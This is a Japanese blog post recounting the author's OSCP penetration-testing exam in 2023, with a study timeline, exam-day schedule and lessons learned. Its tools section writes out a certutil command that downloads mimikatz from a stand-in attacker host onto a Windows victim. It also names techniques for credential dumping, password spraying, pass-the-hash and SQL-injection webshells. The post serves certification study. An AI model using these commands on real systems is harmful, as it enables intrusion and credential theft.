OSCP 2023 受験記

OSCPを取ってきたので例によって受験記を残します。

OSCPについて

この記事を読んでいる時点でOSCPについて知らない人はいねぇよなぁ!!?と思いますが念のため。

OSCP(Offensive Security Certified Professional)とは、OffSec社が提供するペネトレーションテストの知識を証明するための資格です。

日本の視点から見ると、高難易度の資格に分類されるような気がしますが、英語圏ではペネトレーションテストの入門的な資格という位置づけのようです。

試験は実際に用意されたホストに対して攻撃を行い、どこまで侵害できるかが得点の鍵になります。

そのため、焦点は初期侵害~権限昇格、横展開までかと思います。

また、試験終了後にどうやって侵害を行ったかをレポートにまとめて提出する必要があります。

このレポートが要件を満たしていないと減点されます。

なので、HackTheBoxのようにroot取れたからOKではなく、顧客を見据えたレポートの書き方も身につけなければいけません。

2022からの変更点

この資格は現実のセキュリティ事情に追従するようで、BoFを利用する問題がスコープ外となり、新たにActive Directoryドメイン管理者を奪取する問題が追加されました。

また、以前は多数のLabレポートを提出することでボーナスポイント(10 point)が付与されるようでしたが、2023では、純粋にLabやExerciseの進捗率が一定の水準に達していたらポイントが付与される方式に変更されたようです。

受験前の筆者のレベル

  • 年齢 → 27才
  • 学歴 → 高卒
  • セキュリティ業界歴 → 1年半
  • 現職 → 脆弱性診断(PF、Web)
  • HackTheBox → ProHacker

書いておいてなんですが、正直OSCPに関しては受験前のレベルはどうでもいいと思います。

よく、『OSCP受ける前にHackTheBox頑張る』みたいなのを聞きますが(私もそうでした。)、それならさっさとサブスク購入してLabなりExerciseなりをやるのがOSCPに受かるには一番効果的だと思います。

サブスク購入~試験まで

2023/04/26 サブスク購入

LearnOne(1年プラン)を購入しました。日本円でだいたい35万円くらいでした。

2023/05/20 Exercise終了、Lab開始

Walkthrough形式のExerciseを一通り終えました。 Exerciseはだいたい一か月を見積もっておけば終わるんじゃないでしょうか。

LabはOSCPの実試験で使われたRetired Networkと実際の企業環境を模したネットワークからなります。

このうち、企業環境を模したネットワークの侵害は多分OSCPより高度な範囲っぽいのであらかじめ時間配分を考えておいた方がいいです。

私はこのネットワークの内一つのネットワークを完全に侵害するのに3週間を要しました。

2023/07/4 Lab終了

Labの全てのマシンを侵害し終えました。

試験のスケジュールをミスって一か月くらい空いてしまったので暇になりました。

知識が新鮮な状態で受けたいのであればLab攻略から1週間後くらいにスケジュールすると良いかもしれません。

試験

2023/08/09 AM 10:00(JST)に試験を予約しました。

試験前日は部屋の掃除と16時間の睡眠をとりました。

試験当日のスケジュールはこんな感じでした。

時間 内容
9:30 プロクタリングツールにログイン
9:45 試験監督によるチェック開始
11:00 試験用VPNに接続
11:30 Independent target 1台目 local.txt
12:00 Independent target 1台目 proof.txt
13:00 Active Directory Set 1台目 local.txt
15:00 権限昇格が上手くいかずIndependent target 2台目に変更
15:30 Independent target 2台目 local.txt
16:00 Independent target 2台目 proof.txt
16:30 Independent target 3台目 local.txt
20:00 Independent target 3台目 proof.txt
22:00 Active Directory Set 1台目 proof.txt (Metasploit使用)
22:30 Active Directory Set 2台目 proof.txt
23:00 Active Directory Set 3台目(DC) proof.txt
24:00 就寝
7:00 起床
7:00~9:45 Metasploitを使用したところを手動Exploitで証跡取得
12:00 レポート提出

格通

8/12(土) 11:45にメールで合格通知が来ました。 レポート提出から約二日で採点されたようです。

合格に必要だと感じたもの

ツール

特によく使ったコマンドやツールを記載します。

evil-winrm

5985などのwinrmポートが空いている&Remote Management Usersに属するユーザーのクレデンシャルを持っている場合、シェルをスポーンさせることができます。

また、下記のような便利なコマンドも用意されています。

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download

impacket-smbserver

初期侵害後のファイル転送でお世話になりました。

また、NTLMハッシュを飛ばして攻撃者端末でキャッチ→ハッシュクラックみたいな攻撃にも使えます。

impacket-psexec

WindowsにおいてAdministratorグループに所属しているユーザーのパスワードかハッシュがあればシェルをスポーンさせることができます。 応答が遅かったりして使い勝手は悪かったです。

impacket-secretsdump

SAMとSYSTEMのバックアップが保存されている場合などにローカルでハッシュをダンプすることができます。 Domain Adminsのクレデンシャルがあればリモートからダンプできます。

impacket-GetNPUsers

AS-REP Roastに使用します。 後述のRubeusでも同様のことができます。

impacket-GetUserSPNs

Kerberoastに使用します。 後述のRubeusでも同様のことができます。

chisel

プロキシツールです。こいつの使用方法は必須かと思います。

Active Directory setの内部ネットワークへの攻撃や、Independent targetのlocalhostでLISTENしているポートへの攻撃などに使用します。

CrackMapExec

主にSMBやwinrmへのパスワードスプレーなどに使用しました。

用途が幅広くimpacket-secretsdumpと同様のことができたり、だいたいのことがこいつで済みます。

certutil.exe

Windowsへのファイル転送でお世話になりました。

下記のようなコマンドでファイルが転送できます。

certutil -f -split -urlcache http://attacker/mimikatz.exe C:\Users\Public\mimikatz.exe

Rubeus.exe

OSEPでよりお世話になりそうですが、OSCPでよく使用したのはkerberoastasreproastサブコマンドです。

exeなのでVictimに転送して使用します。

mimikatz.exe

言わずもがなです。

sekurlsa::logonpasswordsコマンドをよく使用しました。

チートシート

個人的には無理に作成する必要はないと思います。

コマンドだけ羅列したようなチートシートがありますが、知識が無い状態でコマンドだけコピペで実行するのは私は好きではありませんでした。

もちろん、脆弱性に対して理解をしたうえでチートシートを作成するのは素晴らしいことだとは思いますが、理解ができていればWeb上にいくらでも転がっているチートシートが利用できるはずです。

なので、限られた時間でのチートシート作成は優先度低と判断しました。

資格情報

HackTheBoxなどとは違い、人間の脆弱性を突く攻撃が頻繁に要求されます。

パスワードの使いまわし、強度の低いパスワードの利用などを狙ってブルートフォース攻撃を行うことが多いです。

そのため、テスト中に入手した資格情報はワードリストとして利用しやすい状態で保存することを推奨します。

私は下記のようなワードリストを用意していました。

  • username.txt ← ユーザー名のリスト
  • password.txt ← パスワードのリスト
  • username-password.txt ← ユーザー名とパスワードを1カラムに収めたリスト
  • hash.txt ← NTLMハッシュのリスト
  • username:password.txt ← ユーザー名、パスワードをコロン区切りにしたリスト
  • username:hash.txt ← ユーザー名、ハッシュをコロン区切りにしたリスト

hydraやCrackMapExecなどでブルートフォース、パスワードスプレー、PtHをする際に効果的かと思います。

応用力

OSCPはペネトレーションテストの入門的資格だと話しましたが、そうは言っても随所である程度の応用が要求される場面がありました。

個人的には下記のような事象に対応しているときが一番楽しく、一番糧になったと思います。

  • コード実行はされているがReverse Shellが取れない
  • 上位権限でのコード実行は成功したがReverse Shellが取れない
  • SQL InjectionはあったがDB内に有用な情報が無い
  • 内部ネットワークから攻撃端末への経路が無く、ツールが転送できない
  • ダウンロードしたExploit Codeがそのまま実行しても動かない

コード実行はされているがReverse Shellが取れない

アウトバウンドのポートが制限されている?

上位権限でのコード実行は成功したがReverse Shellが取れない

Reverse Shellがだめなら管理者ユーザーを追加する実行ファイルの実行は?

SQL InjectionはあったがDB内に有用な情報が無い

MySQLならINTO OUTFILEでWebShellを配置できる?MSSQLならxp_cmdshellは?

内部ネットワークから攻撃端末への経路が無く、ツールが転送できない

外部に面しているホストのIISサーバー経由でツールは転送できる?evil-winrmのuploadは使える?

ダウンロードしたExploit Codeがそのまま実行しても動かない

標準ではないURLやポートで動いている?Pythonの場合バージョン依存のコード?

などなど、なぜ攻撃が成功しないのかを分析して解決方法を見つける能力が求められると思います。

同じ轍を踏まないように

OSCPのサブスク購入から試験までで失敗した、こうすればよかったと思うことの共有です。

PDFを読む

OSCPは教材としてWebベースのExerciseとPDFが提供されます。

私はExerciseがOSCPの内容を全て含んでいると思ってPDFをあまり読まなかったんですがこれが良くなかったです。

試験でExerciseで出題されていない攻撃方法が出てきて焦りました。ただ知識としては持っていたのでgot a kotonakiしました。

試験後にPDFを読み返すと、しっかり紹介されていたので事前にPDFは全て目を通しておくことを推奨します。

試験のスケジュール

ExerciseとLabを全て終了してから試験まで1か月ほど空いてしまいました。

人によっては準備期間として1か月は適切かと思いますが、私の場合は怠惰な日々を過ごしていたため ExerciseとLabの終了直後にスケジュールするのが良かったと思います。

ただし、スケジュールはだいぶ先でないと空いていないことが多く、Labが全て終わる直後のタイミングに合わせることが難しいと思います。

その場合、最悪終了の目途が立ちづらい企業ネットワークの完遂は試験後に回し、OSCP Retired Networkを全て終わらせて試験に臨む、でも良いかもしれません。

プロクタリングツールの画面共有

私の画面構成としてはラップトップの画面+大きいモニターという構成で、ラップトップの画面は閉じておけばいいだろうと思っていましたが、使用するモニターは全て共有する必要があるとのことで二画面を共有することになりました。

ただし、二画面以上を共有する場合はFirefoxでなくChromeを推奨とのことで試験時間中にChromeをインストールする羽目になりました。

このおかげで試験時間が1時間削られました。

事前にProctoring tool manualは熟読することを推奨します。 また、二画面以上を使用する場合は事前にChromeをインストールしておくことを推奨します。

https://help.offsec.com/hc/en-us/articles/360050299352-Proctoring-Tool-Manual

Active Directory Setのフラグ

OSCPのActive Directory setはドメインの完全侵害で40ポイントが取得できるということは知っていましたが DCのproof.txtを提出するだけで40ポイントだと勘違いしていました。

実際はActive Directory set全体で4つのフラグが存在し、全て提出で40ポイントだと思います。 あとで気づいて全てのフラグを回収しました。

私と同じ勘違いをしてフラグを取りこぼすことが無いように注意してください。

これからのこと

私が購入したLearnOneサブスクリプションにはOSCP+OSWP+KLCPの試験バウチャーが含まれています。 なのでOSCPに受かったからといって気が抜けず、精進が必要です。

また、OSCPを取ってから思いましたが、今日のペネトレーションテストではOSCPだけ持っていてもなんの役にも立たないです。

OSCPの全てのホストはいわば素っ裸でした。そんな環境が現実世界に存在するはずもなく、確実にAVやEDRなどが邪魔になってきます。

その辺の防御機構を相手に取るのがOSEPというOSCPの上位資格のようですので、LearnOneが終了したらOSEPに取り組んでいきます。